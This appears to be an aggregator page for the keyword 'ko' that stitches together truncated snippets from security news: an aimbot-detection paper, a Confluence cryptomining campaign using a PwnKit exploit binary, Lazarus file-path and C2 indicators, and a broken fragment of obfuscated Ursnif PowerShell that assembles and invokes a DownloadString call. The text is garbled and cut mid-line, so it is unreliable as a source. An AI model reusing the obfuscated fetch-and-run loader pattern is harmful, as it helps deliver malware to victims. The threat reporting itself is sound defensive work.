Remove ko
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USENIX Security ’23 – Distinguished Paper Award Winner – Minyeop Choi, Gihyuk Ko, Sang Kil Cha – ‘BotScreen: Trust Everybody, But Cut The Aimbots Yourself’

Security Boulevard

Permalink The post USENIX Security ’23 – Distinguished Paper Award Winner – Minyeop Choi, Gihyuk Ko, Sang Kil Cha – ‘BotScreen: Trust Everybody, But Cut The Aimbots Yourself’ appeared first on Security Boulevard.

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Applying the Tyson Principle to Cybersecurity: Why Attack Simulation is Key to Avoiding a KO

The Hacker News

Picture a cybersecurity landscape where defenses are impenetrable, and threats are nothing more than mere disturbances deflected by a strong shield. Sadly, this image of fortitude remains a pipe dream despite its comforting nature. In the security world, preparedness is not just a luxury but a necessity.

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Atlassian Confluence bug CVE-2022-26134 exploited in cryptocurrency mining campaign

Security Affairs

The script also downloads a binary file named ko, which exploits the PwnKit vulnerability to escalate the privilege to the root user, while the binary file downloads the ap.sh shell script for the next actions.

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A cascade of compromise: unveiling Lazarus’ new campaign

SecureList

com/ko/company/info[.]asp tmp C:Windowssystem32configsystemprofileappdataLocaltw-100b-a00-e14d9.tmp tmp C:ProgramDatantuser.008.dat dat C:ProgramDatantuser.009.dat dat C:ProgramDatantuser.001.dat dat C:ProgramDatantuser.002.dat dat C:ProgramDataMicrosoftWindowsServiceSettingESENT.dll C2 servers hxxp://ictm[.]or[.]kr/UPLOAD_file/board/free/edit/index[.]php

Malware 111
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A Brand New Ursnif/ISFB Campaign Targets Italian Organizations

Security Affairs

’,’/5′,’like’,’K’,’s NT 10.0; Win’,’5.’)));${y}.(“{4}{0}{3}{1}{2}”-f’own’,’stri’,’ng’,’load’,’D’).Invoke(${Xq})|.( ’)));${y}.(“{4}{0}{3}{1}{2}”-f’own’,’stri’,’ng’,’load’,’D’).Invoke(${Xq})|.(

Malware 111